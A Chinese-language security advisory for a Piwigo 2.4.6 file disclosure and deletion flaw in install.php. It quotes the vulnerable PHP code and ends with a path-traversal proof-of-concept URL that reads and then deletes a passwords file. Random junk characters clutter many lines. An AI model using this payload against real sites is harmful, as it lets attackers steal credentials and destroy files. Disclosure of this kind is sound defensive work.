Piwigo任意文件泄露和任意文件删除漏洞

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Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
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4 U4 k1 C. l- u8 ^0 w# C. @, q. R/install.php:
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9 @# Z& k) g5 V113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
116:   header('Cache-Control: no-cache, must-revalidate');
/ ?0 E$ ~+ y# L8 U+ L' V% c4 H2 D# I117:   header('Pragma: no-cache');
9 y  h$ s+ {9 Q4 h$ X3 _: {118:   header('Content-Disposition: attachment; filename="database.inc.php"');
  N2 V, F2 H0 q3 ^4 ~) e119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
$ M$ N/ q! L; I8 a  ~0 v9 E, E$ n121:   echo file_get_contents($filename);
122:   unlink($filename);
9 n8 x: g6 I) x6 D! Z$ X123:   exit();
124: }
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  Z! t3 Q" S0 |# O& d' |& A
7 k- o( c/ H4 g) [: zTested on: Microsoft Windows 7 Ultimate SP1 (EN)
* R& Y9 ?9 d6 N2 Y' N4 t" l           Apache 2.4.2 (Win32)
0 H/ \0 b$ }) V  _9 J           PHP 5.4.4
; ]$ l4 E/ i% E' A( u. Y           MySQL 5.5.25a
  b2 I- v0 V, C) C" F# ~0 H4 i
2 Z( Z# |3 b/ t) ?Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
/ r& S1 t) J% x! _                            @zeroscience

0 S( E0 `" X8 y9 nAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
" O* b" V. u* h+ v" H* }; aVendor Patch: http://piwigo.org/bugs/view.php?id=2843
7 K* T! A% j" [) ^( H
# X. f/ X  I, S9 h$ D15.02.2013

3 S: f6 ?/ Y0 B2 R4 j: n--
* F( y6 C/ a( p$ y) k$ Ghttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt